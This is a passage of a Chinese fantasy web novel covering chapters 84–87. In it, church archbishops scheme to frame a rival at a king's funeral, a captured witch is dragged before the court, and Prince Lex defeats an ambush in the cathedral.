“我怎么也没想到,福森·加德纳竟然会是阿隆索留给拉奥德的帮手,我之前可从没见阿隆索与他有过来往。”安德烈感慨道。 “不然怎么说阿隆索狡猾呢?”格奥鲁多没好气地道。 他正是吃过类似的亏,哪怕阿隆索亡故,也一直小心翼翼地提防着拉奥德,没想到得来全不费工夫,果然让他发现了拉奥德与福森来往的蛛丝马迹。 这才有了菲科勒悄悄联合安东尼奥,火急火燎地敲定了举行努伦格尔九世葬礼的日期。 众所周知,只有教皇才配给国王与王后主持葬礼,偏偏目前教会中并没有选出新的教皇,而菲科勒三人便是要趁此机会打乱拉奥德原本的计划,先一步将格奥鲁多推举为教皇。 反正等格奥鲁多揭穿拉奥德不为人知的秘密,将他当着众人的面驱逐出教会后,他这个光杆教皇也就当到头了。 “不过,你说拉奥德曾和女巫有过来往,是真的?”安德烈看向格奥鲁多,不放心地确定了一遍。 “当然是真的。他当初跟一个女人神神秘秘地住在城外,这事他瞒得了别人,可瞒不住他的母亲。更何况,如果不是这个女人身份有问题,他为什么要偷偷摸摸地和她在一起呢?” 格奥鲁多咧开嘴,笑出一口白牙。 “就算那个女人不是女巫,我说她是,她就得是。” 闻言,菲科勒和安德烈对视一眼,不约而同地露出一个默契的笑容,“你说得对。” 既然决定了要栽赃陷害,何必管事实到底是什么样的。 再说了,三人都觉得商量好的计划没问题。 他们打算先利用拉奥德的母亲揭穿他私生子的身份,这是板上钉钉的事实,再说他与女巫有过来往,迷惑了阿隆索,才坐上如今大主教的位子,想必其他人也不会质疑后者的真实性。 编造谎言么,就得要真假参半才最可信。 “说起来,还得感谢前人的先见之明,一开始,教会和女巫的关系还没有这么糟糕。” 或许是摇曳的烛光总容易让人回想起泛黄的过往,尤其是对于菲科勒这样上了年纪的人来说,他忽然对这段尘封的往事谈性大发,开始当着格奥鲁多与安德烈的面侃侃而谈。 “只不过,谁让她们是一群有本领的女人呢?” 和真的拥有神奇药剂,懂得神秘咒语的女巫相比,教会中聚集的不过是一群普通人,他们千辛万苦地来到人们面前宣传教义,却抵不过女巫轻飘飘的一句话。 “哈?人要受苦受难才能获得来世的幸福?那你不小心让毒蛇咬了是不是还要躺在地上等死啊?毕竟毒发的痛苦也算是一种苦吧。” 一句话,让站在人群中央的神父哑口无言,他只能结结巴巴地告诉大家,这不是教义所指引的,是面前的女巫在胡搅蛮缠。 然而围观的人群看看女巫,又看看神父,都觉得女巫说的才是对的,谁让神父和他们一样,也不过只是个普通人呢。 普通人说的话,当然不如女巫啦。 “所以,除掉女巫这事,我们也是不得已的,否则我们要怎么在普通人心中确立教会至高无上的地位呢?”菲科勒叹了口气。 很快,他恢复了笑颜,“如今哪怕是国王发出的诏令,都不一定有我们的神父说的话管用。” 想必当初的努伦格尔四世意欲与教会联手,将残害兄弟的黑锅扣到女巫的头上时,也未曾想到会有如今这一幕吧。 门外,梅拉听着里头谈起女巫们这数百年来不得不离群索居的源头,幽绿的眸子里跳动着一簇暗火。 她原本无意追溯这段历史。 对于女巫来说,往前看比往后看更重要。 因为她们不在乎已经过去的,无法更改的结局,她们想要探究的是未知的,随时可能变化的未来。 因此梅拉珍藏在地下室的那些手札里,没有任何一位女巫在上头书写过有关自身遭遇的愤恨、不甘与痛苦,她们只是孜孜不倦地将自己多年积累的心得写下来,供拿到这一份手札的后辈踩着前人的肩膀探索更多未知的奥秘。 艾莉卡说的没错,教会里头实在藏了太多黑暗的秘密,其中的臭味只要接近就令人作呕。 梅拉垂下眼帘,听着里头似乎有了要结束的动静,连忙轻手轻脚地先一步离开了这里。 留给她的时间不多了,她还没来得及找到拉奥德的住处,也不知道艾莉卡那边的情况如何了。 * 无论梅拉多么希望能再得到多一点时间,属于黎明的曙光还是不可避免地到来了,哪怕只是在天边亮起微不足道的一丝,梅拉还是不得不按照与艾莉卡的约定,回到了花园附近。 然而梅拉却没有看见艾莉卡的身影。 她在花园内走了一圈,倒是找到了躲在花丛下昏昏欲睡的塞拉斯。 “咦,梅拉,你回来啦。” 见到梅拉,塞拉斯一下子睁大眼睛,打起了精神。 它不住地往梅拉的身后瞧,“艾莉卡呢?她没有跟你一起吗?” “没有。”梅拉摇了摇头。 与此同时,她的心跟着回答一沉,艾莉卡该不会出事了吧? 否则她绝不可能违背约定,迟迟不来花园与梅拉汇合。 “那我们怎么办?要继续等她吗还是……”塞拉斯也着急起来,如果这会儿不抓紧时间离开,那梅拉还能离开吗? 想起昨晚偷听到的对话,梅拉顷刻间便下定了决心,“没关系,你先回去跟尤莉尔说一声,我和艾莉卡暂时不回去了。” “我要留下来,参加努伦格尔九世的葬礼。在天黑之前,我会想办法找到艾莉卡,和她一起回去的。” 没错,无论艾莉卡那边出了什么意外,梅拉还有一整个白天的时间可以挽回。 所以,艾莉卡,昨晚你身上到底发生了什么事? 梅拉不自觉地拧起了眉,强行压下了心中的焦虑。 第85章 第 85 章 [污蔑] 早晨, 巨大的吊桥随着锁链的转动缓缓放下,露出了城外乌压压的车队。 他们都是日夜兼程赶来参加努伦格尔九世葬礼的贵族们。 华丽的马车滚过路面,闪亮的家徽在阳光下泛着金光,围观的人群静默地站在街道两侧, 眼珠子转动, 难免对这些难得一见的贵族们充满了好奇。 只不过碍于他们带来的随从,普通人连接近马车都做不到, 只能短暂地过个眼瘾, 方便当做未来数十年的谈资。 “好久不见, 萨雷, 你跟十年前相比可真是大变样了啊。” 萨雷伯爵刚下马车, 立刻就有眼熟的贵族上前来同他打招呼。 他扯了扯嘴角,叹息一声,“唉, 毕竟十年过去了, 我都成老头子了嘛。要知道我可比陛下还年长几岁呢。” 而比萨雷伯爵还年轻几岁的努伦格尔九世现在都已经躺到了棺材里,真是令人始料不及。 提起努伦格尔九世,来搭讪的贵族冲萨雷伯爵挤了挤眼,小声问道,“那你觉得,害死国王陛下的人真是莱克斯殿下吗?” 莱克斯派人杀害努伦格尔九世的消息甫一传出,大部分人的第一反应都是荒唐至极, 莱克斯既然没死, 那他便是板上钉钉的下一任国王,何必要大费周章地搞这一出。 但王宫来的信使说得有鼻子有眼的,再加上莱克斯至今不曾回到王宫,一直留在弗霍斯特庄园内, 他和努伦格尔九世的嫌隙明眼人都看得出来。因此,不少人心中还是保留了几分怀疑。 不过,这句试探问到萨雷伯爵头上那可是问错人了。 他呵呵一笑,轻飘飘地把这个危险的话题推远了,“我也不知道呢,既然是国王陛下的葬礼,莱克斯殿下应该会到场吧,到时候你有什么疑问,不如当面问他好了。” “哦?莱克斯殿下会来参加葬礼吗?难道你提前听到了什么风声?”这人不依不饶地追问。 萨雷伯爵故意沉思了好一会儿,才道,“或许吧。莱克斯殿下毕竟是国王陛下的长子,父亲的葬礼,他不应当缺席才对。” 哪怕明知来了或许就走不掉了,但不来不就更加给人留下话柄了吗? 总之,无论莱克斯怎么选,来或不来,都属于进退两难的地步。 留给贵族们说闲话的空闲实际上并不多,很快,四名穿着黑色教袍的大主教出现了。 他们的露面仿佛为即将举行的葬礼敲响了开始的钟声,运着棺椁的马车缓缓从王宫驶出,后头还跟着两辆华贵的马车,整齐的卫队则守在车队的两侧,隔绝开人群探头探脑的视线。 按照规定,国王的棺椁要绕着王城走一圈,供所有臣民最后一次感受他的存在,最后才在万众瞩目之下送入教堂,由教皇主持接下来的仪式。 车轮不断前进,没有人敢在这时候发出声音,空气仿佛都在此刻凝固住了。 然而在护送棺椁的守卫远远地望见教会大门之前,一阵规律的马蹄声由远及近,骑着白马位于最前方的人,赫然拥有一头如金子般璀璨的头发。 “是莱克斯殿下。” “莱克斯殿下竟然回来了?” “他如今看着可真有气势啊。” 人群中骤然爆发一阵窃窃私语。 众人都没想到,莱克斯居然真的带着人回来参加努伦格尔九世的葬礼了。 他就不怕这是个专门为他而设计的陷阱吗? 莱克斯目不斜视地骑着马来到车队末尾,一同抵达教会。 “莱克斯!你、你竟然回来了!” 刚从马车上下来的妇人捂着嘴,热泪盈眶地看着莱克斯。 “纳伊芙姑姑,这是父亲的葬礼,我当然要回来了。” 莱克斯利落地下马,高挑的背影挺得笔直,仿若一棵挺拔的杉树。 他神色淡然地与落后纳伊芙一步走下马车的伊莱雅与西维里对视。 西维里感觉到母亲牵着自己的手加大了力气,他同样震惊地盯着头一次见面的莱克斯,这就是他的兄长吗? 除了努伦格尔王室如出一辙的金发金眸之外,他……他和父亲长得可真不像。 努伦格尔九世的长相可以称得上一句英俊,却算不上多么出众,但莱克斯站在阳光底下,仿佛阳光都刻意为他的俊美镀了一层金边似的,令人头晕目眩,不敢多瞧。 “你这个心狠手辣,胆敢杀害父亲的凶手竟然还敢回来。” 伊莱雅到底经历过更多的风霜,她飞快地回神,率先发出了对莱克斯的审判,提醒着那些守在教堂内的贵族们,如今的莱克斯不是他们应该尊敬的王储殿下,而是杀害努伦格尔九世的人。 “我没有对父亲动过手,也不打算在这里同你争论杀害父亲的真凶究竟是谁,比起这些,先让葬礼举行完更重要。”莱克斯镇定自若地道。 说完,他抬腿,先一步走入教堂之中,站到了最前排。 而切尔各亦扶着剑,紧随莱克斯的身后,随时一副保护他的姿态。 从门口到教堂内部这么短短一段路,愣是没有任何人敢出来阻拦莱克斯,就这么眼睁睁地看着他在右侧首位立定。 即使是脸色不太妙的伊莱雅,也顾忌着葬礼忍下了想要对莱克斯发难的心情。 她不忍也不行,没看到纳伊芙生怕她忍不住,还特意来搀扶了她一把吗? 纳伊芙好歹是如今仅剩的公主,当着众人的面,伊莱雅还是得给她一点面子。 贵族们还以为无法避免要爆发的一场争端就这么消弭于无形,心中不知为何还感到了些许失落。 不过很快,另一场争端吸引了全部人的注意力。 “按照以往的惯例,只有教皇才能为国王陛下举行葬礼,所以我们决定在今天推举格奥鲁多大主教成为新一任教皇,为国王陛下主持接下来的仪式。” 说话的是四位大主教中最年长的菲科勒,他曾经还与阿隆索竞争过教皇的位子,说出来的话自然颇有分量。 “我同意菲科勒的说法。”安德烈也站了出来,支持格奥鲁多成为新的教皇。 四个人里有三个人点头同意这件事,众人的视线纷纷移到最后一个人,即拉奥德的身上,打算看看他的回应。 是赞同,还是—— “我不同意格奥鲁多大主教成为教皇。”拉奥德道。 果然。大家都对拉奥德的回答有种意料之内的感觉。 就算他只有孤零零的一个人,但就这么屈服,岂不是拱手将最后一点机会白白让了出去,那可不行,总得挣扎一下吧。 “哼,拉奥德大主教,这里唯独你没有选择同不同意的资格。”格奥鲁多哼笑一声,对拉奥德的回答毫不意外。 他不急不缓地道,“本来我并不想给已经离去的阿隆索大人抹黑,但教会内的纯洁不允许任何人玷污,哪怕是教皇也不行,因此,我犹豫再三,还是决定将这个真相说出来。” “那就是,你,拉奥德,身为阿隆索大人的私生子,不应该继续以大主教的身份站在这里。” 随着格奥鲁多的话音落下,顿时引起了贵族之间一阵骚动。 谁都没有想到,在努伦格尔九世的葬礼上还能听到这样的惊天丑闻。 教会一直以来都不允许任何一名神父或修女脱离贞洁之身,他们既然选择进入教会,远离俗世,就应该一心一意地侍奉信仰度过余生。 但本应该保守贞洁的教皇竟然私下有了孩子,不仅将他纳入教会之中,还让他坐上了大主教的位子,简直荒唐! “哦?格奥鲁多大主教,每个人都应该为自己说出的话而负责,你有什么证据证明我是阿隆索大人的孩子吗?” 面对格奥鲁多突如其来的发难,拉奥德一点也没有失态,他像是早就料到会有今天这一出,还有心思看向诸人,笑问道: “大家应该都看得出来,我和阿隆索大人长得并不相像吧?” 若是拉奥德与阿隆索长得相像,也不至于这么多年都没人怀疑过他与阿隆索的关系。 “既然你不肯承认,就让你的母亲来承认好了。” 见状,格奥鲁多使了个眼色给身后的某个神父,他立刻会意地低头离开。 没一会儿,他就带着一个面容苍老的老妇人走了回来。 她正是梅拉与尤莉尔在辉光小镇有过一面之缘的桑诺婆婆。 “拉奥德!” 桑诺一见到拉奥德,顿时哭嚎着扑到他面前,纵使有千言万语都凝结成了眼眶里的泪水,簌簌地扑落下来。 “现在,大家可以仔细看看这名老妇人与拉奥德的长相,她正是拉奥德的母亲桑诺,一个农夫的女儿。在多年前因为长相貌美,被当时的加德纳伯爵献给了还在加德纳领担任主教的阿隆索大人。”格奥鲁多信誓旦旦地道。 一时之间,众人的目光不断地在拉奥德与桑诺的脸上游移。 尽管桑诺的脸上尽显老态,但仔细看,她的五官还真与拉奥德十分相像。 难道真如格奥鲁多所说,拉奥德是阿隆索的私生子?那加德纳家族……不少人偷偷看向站在左侧靠前位置的福森,和他身旁的现任加德纳伯爵,即他的侄子,露出了意味深长的笑容。 啧啧啧,要知道当时的加德纳伯爵可是福森的兄长,要说他们俩不知情,那绝对不可能。 然而不管是福森还是他的侄子,都仿佛没感受到这些视线似的,一派从容。 “我承认,她是我的母亲。” 出乎众人的意料,拉奥德想也不想便承认了这件事,他甚至体贴地扶起了桑诺,随之而来的还有一道叹息: “不过,我的父亲并不是阿隆索大人。” “您说呢?母亲。您可千万要同大家解释清楚,不能玷污了我们的恩人,阿隆索大人的名声啊。” 闻言,桑诺怯怯地点了点头,她低垂着眼睛,不敢与在场的任何人对视,“拉奥德说的没错,他是我和一个马车夫的孩子,和高贵的阿隆索大人没有任何关系。” “你说什么?你当初可不是这么对我说的!如果不是你亲口承认,我怎么可能知道这些数十年前的旧事!” 格奥鲁多听了,一下子气得跳脚,他怎么也没想到桑诺竟然会临时改口。 这个老女人怎么敢的?她竟然敢! “如果拉奥德是你和马车夫的孩子,你为什么不敢光明正大地承认?反而要顶着未婚生子的名头躲在城外的屋子里,受尽别人的白眼也要独自抚养他成年。”格奥鲁多逼问道。 “因为……因为……拉奥德确实是私生子,我后来并没有嫁给那名马车夫。”桑诺一脸怯懦地答。 任谁见了,都只觉得她是一个可怜的老妇人,不可能会撒谎。 与之相反的是,看起来因为诬陷拉奥德不成而气急败坏的格奥鲁多更像一个坏人。 不等格奥鲁多继续再说些什么,拉奥德将桑诺拉至身后,仿佛一面盾牌似的挡在她的面前,也挡住了格奥鲁多那像要吃人一样的视线。 “格奥鲁多大主教,当初阿隆索大人也知晓我的身世,但他并不曾因为我是个私生子而拒绝我进入教会,也因此,我这辈子都发誓要虔诚地侍奉神明,替不得不因为生命短暂而告别人世的阿隆索大人接过他的遗志。” 闻言,在场的其他神父不约而同地露出一副感动的表情。 这下好了,格奥鲁多不仅没有揭穿拉奥德的身世,反而让他借着这个机会,重新为自己添了一层声望。 “你!”格奥鲁多气得差点厥过去,他无措地看向菲科勒与安德烈,却见两人如同约好了似的,分别后退一步,拉开了与他的距离。 “没想到,格奥鲁多你为了教皇的位子,竟然干出污蔑阿隆索大人与拉奥德大主教的事情。我们本以为你深得上上任老教皇,曼德大人的认可,所以才一同推举你成为新的教皇,可惜你今天的所作所为实在不是一位教皇应该做出来的事。”菲科勒先一步沉痛地道。 “没错,你实在是太令我们失望了。”安德烈也跟着摇头道。 “你们!你们!”格奥鲁多这下是真的慌了神。 他想说你们怎么不按计划来。 可格奥鲁多想了想把这件事抖搂出来的后果,到底还是及时地闭住了嘴。 他如果这会儿将三人合谋的事说出来,那就是真的白送拉奥德一个教皇的位子了。 更何况,等葬礼结束,菲科勒与安德烈也一定不会放过他的。 还不如此刻老老实实地认栽,说不定还能保住一点地位,大不了重新被打发到什么穷地方当个被忽视的主教,那也比被菲科勒与安德烈联手针对要好。 不,不止菲科勒与安德烈,格奥鲁多看向面上带着几分伤感的拉奥德,深知他也一定不会放过自己。 他完了,这回是真的完了。格奥鲁多绝望地想到。 然而这并不是事情的结束,拉奥德的发难来得如此迅速,他看着露出绝望表情的格奥鲁多,忽然道:“有一件事,我想大家都应该知道。” “格奥鲁多,你为了成为教皇,昨夜竟还苦心孤诣地派了一个女巫来暗杀我。” “身为大主教,你怎么能跟女巫搅和到一起呢?” “什么?女巫?现在居然还有女巫存在?”贵族中,有人惊恐地叫了出来。 “不不不,我没有!我不认识什么女巫,也没有派人去暗害你!”格奥鲁多疯狂地摇头,试图否认这项罪行。 然而就如他之前同菲科勒二人所认为的,一个事实之后跟着的只会是另一个事实,而不会被人怀疑是谎言。 现在,无论格奥鲁多怎么否认,都没人会相信他是无辜的了。 拉奥德的嘴角勾起一个几不可闻的微笑,他转头看向身旁的神父,“去找人把那名女巫带过来吧,我可不想没有证据便轻易污蔑了一名受人尊敬的大主教。” 片刻后,仍然处于昏迷状态的艾莉卡被人像死狗一样拖到了众人面前。 藏在暗室里的梅拉见状,心脏在之前见到莱克斯出现后,再一次重重地一跳。 第86章 第 86 章 [混乱] “昨晚我正在房间内休息, 却突然听到走廊外传来了很轻的响动,尽管很可能是我听错了,但出于一点微不足道的担心——万一有人此刻正需要我的帮助呢——我还是立刻披上外套起身了。” 拉奥德用不疾不徐的语调向众人陈述了一遍昨晚发生的事情,仿佛差点丢掉一条小命的人不是他, 而是另有其人。 瞧见他冷静的模样, 还真有人怀疑这是一出他自导自演的戏。 但,拉奥德有证人。 那就是昨晚因为他的呼声而及时赶来的教会守卫。 “……昨晚我带着人赶到的时候, 这名女巫还试图向我施展咒语, 我们眼睁睁地看着有一名兄弟突然就闭眼倒下了。” 因为不止有一个人见识到了这一幕, 就算菲科勒想质疑地上的女人其实并不是女巫, 也找不到任何可行的借口。 好在在场唯一会受到牵连的人只有格奥鲁多, 谁让他没办法狡辩自己和女巫没有关系,也不曾指使她前去杀害拉奥德呢? 众目睽睽之下,格奥鲁多像丧家之犬一样被驱逐出了教会, 教会的守卫架着他, 迅速地离开了教堂。 “至于这名女巫,按照教会一贯的办法,为了防止她用我们没法防备的手段逃脱,必须当众处以火烧之刑。”拉奥德毫不留情地道。 随着他的话音落下,立刻有两名教会守卫上前,想要把艾莉卡从地上拽起来往外拖。 “等一下。” 莱克斯突然开口道。 “哦?莱克斯殿下,您难道有其他吩咐吗?”拉奥德不卑不亢地问。 “我认为当下比起处理这名女巫, 更重要的是你们即刻选出教皇, 将葬礼举行下去。刚才闹的这一出,已经浪费了大半个早上的时间,难道要让在场的所有人饿着肚子接着等到晚上吗。” 说着,莱克斯的眉眼中隐隐凝聚起了一股不耐。 确实, 让这一出又一出好戏勾得目不转睛的众人回过味来,今天最重要的事情就是举行努伦格尔九世的葬礼,其它的事统统都得靠边站。 他们可不想饿着肚子撑到晚上。 到时候若是谁的肚子响了,多么有失贵族体面啊。 “莱克斯殿下说的没错,我看你们教会的事大可留到之后再解决,还是国王陛下的葬礼更重要。” 陆陆续续有贵族出声附和。 于是艾莉卡的事情暂时被放到了一边,收到眼色的教会守卫将她带下去关了起来,至于拉奥德三人到底谁当教皇,则不可避免地陷入了僵持之中。 毕竟他们三人各有各的优势,分别具备一定的拥趸,而没了格奥鲁多当傀儡,菲科勒与安德烈自然要继续争个高低,一时间场面格外胶着。 还是不耐烦的莱克斯主动提议,“既然暂时选不出真正的教皇,就先选个代理教皇出来吧,按照资历和年纪,便由菲科勒大主教来当这个代理教皇好了。” “莱克斯殿下,您就算身为王子,也不代表就能随意插手我们教会的事了。”安德烈不赞同地看着莱克斯。 “我没有要插手教会的打算,我只是以王储的身份命令你们,立刻将葬礼进行下去,如果你们有别的办法,也可以马上拿出来。如果没有,就不要再浪费时间下去。”莱克斯面无表情地回视他。 然而他这番话却让忍耐许久的凯尔多跳了出来,“不!你一个杀害父亲的凶手,怎么可以再继续承担王储的职责,西维里殿下才是我们如今认可的王储。” “同样的话我不会再说第二遍,我与父亲的死无关。”莱克斯冷冷地看向凯尔多,“至于你嘴里的认可,我倒是想知道诸位之中还有谁对我的王储身份有所质疑,大可像凯尔多·裘德一样站出来与我对峙。” 众人也没想到怎么形势忽然急转直下,又到了他们这些贵族决定站队的时刻。 莱克斯的目光如同最锐利的刀锋一样一一扫过众人的脸,大多数贵族都在感受到他的视线时忍不住往后退了一步,也有小部分坚定的西维里支持者顶住了压力,毫不畏惧地定在了原位。 他们都是伊莱雅这些年费尽心思拉拢过来的人。 只不过和退却的大多数相比,这一小撮人根本不值得莱克斯放在眼里。 见此情形,凯尔多的脸色难看得简直要滴出水来。 “诸位!”他厉喝一声,“你们难道觉得除了莱克斯之外,还有谁敢伤害伟大的国王陛下吗?” “这么多年来,他与陛下父子之间的不和早已人尽皆知,而他多年前故意失踪,离开王宫,为的便是躲在弗霍斯特庄园筹谋这一天!十有八九,连斐南基都是他的同盟!否则今天为何弗霍斯特侯爵不敢前来参加陛下的葬礼?” “如今当着陛下的面,你们难道要拥护一个弑父的王子坐上王位吗?” “这……” 众人开始面面相觑,连莱克斯都赶来了,斐南基却没有出席这场葬礼,这点确实说不过去,但当年莱克斯失踪一事的隐情,难道真如凯尔多所说,是莱克斯故意的? 他们还一直以为是伊莱雅动的手呢。 “凯尔多·裘德,既然你非要颠倒黑白,那么切尔各,你来和他们说说当年到底发生了什么。”莱克斯听了凯尔多这一通故意编造的事实,平静得眉毛都没动一下。 “是。”切尔各上前一步。 “当年西维里殿下举行新生洗礼的那天晚上,王宫中举办了盛大的宴会,我却没有在宴会上见到莱克斯殿下。 等我因为担心找到了殿下的房间时,却发现守卫和侍女全部被迷晕,殿下也已经不知所踪。 我循着痕迹一路骑马追到城外,发现那名匪徒正举起刀尖对准了殿下,当时的情况简直千钧一发。 好在我来得还算及时,最终成功地将殿下救了下来。只不过,没等我带着殿下回到王宫,伊莱雅殿下就派来了追兵,将我们一路往远离王城的方向驱赶。” “你胡说!我怎么会派追兵追杀你和莱克斯?那天晚上我一直待在宴会上,根本没有离开。”伊莱雅也站了出来。 她像是让切尔各的话给气狠了,胸口不断地起伏。 即使西维里的新生洗礼已经过去了那么多年,依然有不少贵族保留着参加宴会的记忆,他们仔细回忆了一下,好像确实没看到伊莱雅离开。 “王后殿下,您身边既然有安东尼奥和凯尔多两位好兄弟,这种小事哪里还需要您亲自出面呢。”切尔各悠悠地道。 “您也不必急着反驳我的话,当初的追兵中也不是没有人侥幸地活了下来,真巧,莱克斯殿下已经将那人找到了,此刻应该正在赶来王城的路上。” 切尔各说的自然是葛宁克。 早在努伦格尔九世的死讯与对莱克斯的污蔑一同传出,莱克斯就立刻传信给了远在雅兰特领的葛宁克。 按照日夜兼程的速度,大概还有一天,他便能顺利抵达王城。 闻言,伊莱雅的面色几不可察地变了一下,她怎么也没想到凯尔多这个蠢货当年竟然没把人给全部清理干净。 凯尔多的眼皮也跟着一跳,当年是有几条漏网之鱼,但这么多年过去了,谁知道他们还会被莱克斯给找到呢?要知道就连他都没找到过那几个侥幸逃掉的人的踪迹! 若是让凯尔多得知,葛宁克其实是主动找上莱克斯的,他恐怕更是要气得冒烟。 不过没关系,凯尔多的眼神发狠,只要莱克斯死了,就算葛宁克赶来了王城也没用。 今天的葬礼正是他们为莱克斯特意设下的陷阱,若是莱克斯不来,有菲科勒的帮助,他们也会趁此机会将西维里的王位确定下来。 若是莱克斯来了,那岂不是正好,王城本就是他们的地盘,难道还担心区区一个莱克斯吗? 到时候,就算莱克斯带几百名随从保护自己也没用,要知道整个王城的守卫可是有足足几千人,更别提还有凯尔多手下的骑士团,这可是五百名甲胄齐全的骑士,足以横扫一切阻碍。 突然,一道破空声传来。 不等切尔各有所动作,莱克斯先一步拔出腰间的佩剑,将直直朝着自己飞来的箭矢一剑砍成两段。 “这是哪来的箭?”有反应过来的贵族先一步发出惊呼。 而比他们反应更快的则是早有预谋的安东尼奥和凯尔多,他们率先拔出佩剑,喝令道:“动手!” 刚才那道箭矢就像吹响的号角,教堂内顿时乱作一团。 有纷纷拔出长剑不断往里冲的守卫,有被这一幕惊吓到四处躲避的贵族,有将莱克斯守护在中央的随从们。 混乱中,不时传出几声哀嚎。 从□□中溅出的血液滴落在地,也染红了银光闪闪的长剑。 一阵沉重的脚步声传来,是穿戴整齐的骑士们来了,他们的加入无疑让糟糕的局面呈现一边倒的局势。 与此同时,早就知道安东尼奥与凯尔多计划的伊莱雅带着西维里匆匆后退。 她一面退,一面眼也不眨地盯着混乱中央与守卫厮杀的莱克斯。 努伦格尔九世已经为了西维里的王位而死,她必须亲眼看着莱克斯也死在这场阴谋中,让她的西维里再也没有后顾之忧。 然而,下一秒,伊莱雅却发出了痛苦的呼喊: “不!凯尔多!” 莱克斯毫不犹豫地抽出刺中凯尔多心脏的剑,看着他的身体像煮烂的面条一样软了下去。 随着倒下的尸体越来越多,教堂内渐渐恢复平静,而剩下的人渐渐拱卫到了莱克斯的身边——不止他一开始带来的那十数名随从。 “萨雷,那不是你的随从吗?怎么会到了莱克斯殿下身边?” 听见动静减小,有死死抱住脑袋躲在角落的贵族抬头,就看到了这令他傻眼的一幕。 然而本该躲在他身边的萨雷伯爵却缓缓地站了起来,露出一个笑容:“哪里是我的随从呢?从一开始,他们就是莱克斯殿下安排的人啊。” 第87章 第 87 章 [你愿意随我回王宫吗]…… 梅拉走后, 莱克斯便从斐南基安排在王城的探子嘴里得知了努伦格尔九世病重的消息。 他站在窗前,背对着坐在扶手椅上的斐南基。 “原来这就是伊莱雅急不可耐地要朝我动手的原因。她笃定我会帮你,又不知道你什么时候会回到王城,所以想要尽早除掉我, 断掉你的臂膀。” 目送探子离开书房, 斐南基若有所思地道。 “殿下,您心里是怎么想的呢?”斐南基问。作为辅佐莱克斯的人, 他可以给莱克斯提建议, 却不能直接替他拿主意。 接下来他们具体要怎么做, 还得看莱克斯的想法。 “提前集结人手, 以备不时之需。毕竟我们谁都不知道他还能活多久。”莱克斯漠然道。 一头正值壮年的雄狮才值得忌惮, 换做努伦格尔九世年轻的时候,或许没有谁敢在他的眼皮子底下搞小动作。但他现在生病垂危,十有八九连眼皮都睁不开, 随便一个人都能轻易要了他的命, 又怎么威慑得住暗潮下波谲云诡的涌动。 “你觉得伊莱雅护不住国王陛下?” 斐南基饶有深意地屈指敲了敲桌面,尽管努伦格尔九世病重,但伊莱雅作为王后,王宫尚且在她的控制之下,应该还没人能越过她伤害到努伦格尔九世才对。 想到这,斐南基开了个小小的玩笑,“殿下, 您是不是忘了, 我们这位王后殿下当初可是把我都赶出了王城。” “这些年,没有他的允许,伊莱雅做不到这么多事。”莱克斯却看得很清楚。 正是因为看清楚了当年他的失踪也有努伦格尔九世刻意纵容的手笔,那点本就微薄的父子亲情更是顷刻间荡然无存。 莱克斯从小就能感觉到努伦格尔九世不喜欢自己, 这很奇怪,明明他是他唯一的孩子,但他的父亲却吝于给他一个笑脸。 尤其在有了切尔各和斐南基的对比下,莱克斯愈发觉得努伦格尔根本不是一个合格的父亲。 没有哪个父亲会喜怒无常地对待自己的孩子,甚至偶尔看着他的眼神,阴郁得像是能滴出水来。 “我在来弗霍斯特领之前,已经同北地的领主们打过招呼,等接到我的信后,他们会马不停蹄地派人前来,以免出现什么事他们再从北地出发赶不及。” 莱克斯收回了飘远的思绪,同斐南基道。 “到时候还得麻烦你派人安置一下他们。” “请您放心,就算来几千人弗霍斯特庄园也装得下,不过,我们也不能单单只将人安排在一处地方。” 毕竟兔子都知道要多打几个洞,有备无患。 莱克斯微微颔首,认同了斐南基的说法,“我会再多考虑几个人选。” 而萨雷伯爵,就是在莱克斯表明自己还活得好好的后,主动上门投诚的人之一。 看着萨雷伯爵离开弗霍斯特庄园的队伍变得比来时更加庞大,莱克斯的目光投向远处的高空,正好有几只灰色的飞鸟掠过。 该做的准备都做的差不多了,因此甫一听到努伦格尔九世的死讯,以及随之而来的一反常态提前举行的葬礼,莱克斯等人并没有太大的反应,就好像早就知晓会有这么一日。 临行前,琼斯夫人还让庄园的厨娘们准备了一桌精致的晚宴,为莱克斯与切尔各送行。 他们要日夜兼程地赶路,以斐南基的身体怕是路上会撑不住,所以莱克斯和切尔各带着十数名随从骑马先走,斐南基则坐马车同车队慢悠悠地跟在后头。 反正赶不上葬礼的贵族也不止斐南基一个,到时候就算伊莱雅想要治罪也没有理由。 于是,莱克斯就这么出发了。 与此同时,带着他分拨的人手出发的贵族,譬如萨雷伯爵之流也不分昼夜地赶往了王城。 * 一场针对莱克斯的动乱就这么平息了。 凯尔多已死,安东尼奥被擒,就算他们提前准备了人手,甚至还有源源不断的守卫涌来教堂,看到这一幕后也不敢再上前。 毕竟这会儿只要长了眼睛的人都知道,臣服比反抗更值得选择。 说白了,安东尼奥和凯尔多没有第一时间控制住莱克斯,他们就已经输了,谁让坐在王位上的人只能姓努伦格尔呢。 “把安东尼奥·裘德投入监狱,等候处理。”莱克斯接过切尔各递来的手帕,缓缓地擦干净了剑上的血,然后才将它收回了腰间的剑鞘之中。 “不!你不可以这么做!伊莱雅,西维里,快救救我!我这么做可都是为了你们啊!”安东尼奥眼见自己将要被拖出教堂,一脸惊恐地挣扎着,试图向伊莱雅与西维里求助。 否则一旦进入监狱,等待他的注定只有死亡。 伊莱雅咬紧了唇,没有出声,她甚至担心西维里会被安东尼奥打动,提前伸手捂住了他的嘴。 没了安东尼奥与凯尔多,她还能从裘德家族中挑出新的可用的人选,说不定还会比他们两人听话多了。 说到底,对于他们两人害了努伦格尔九世一事,伊莱雅心中仍然留存着几分恨意。 只不过当时迫于形势,再加上被软禁的那几天,伊莱雅自己想明白了,努伦格尔九世已死,她不能让他白死了,而是要用他的死为他们的孩子铺路,故而答应了安东尼奥和凯尔多,继续配合他们布置下这一出针对莱克斯的陷阱。 西维里看着安东尼奥惨叫着被拖走,心中确实闪过一抹犹豫。 从前,安东尼奥和凯尔多总是为他寻来许多新奇的玩意儿,还帮着他做了不少事,但,一想起安东尼奥和凯尔多毫不犹豫地朝努伦格尔九世下手,还软禁他和伊莱雅,西维里的那点犹豫顿时消失了。 西维里甚至暗地里有些庆幸,幸好伊莱雅将他的嘴给捂住了,所以不是他不想救安东尼奥,而是他要乖乖听伊莱雅的话。只有母亲才是全心全意为他好的人。 “好了,诸位,事情已经解决,就让我们将这场葬礼继续下去吧。”莱克斯淡淡地道,仿佛刚才那场血腥的意外根本没有发生过。 闻言,因为躲避而导致衣衫略微凌乱的贵族们战战兢兢地走回来,配合同样有些狼狈的菲科勒把葬礼该有的仪式走完。 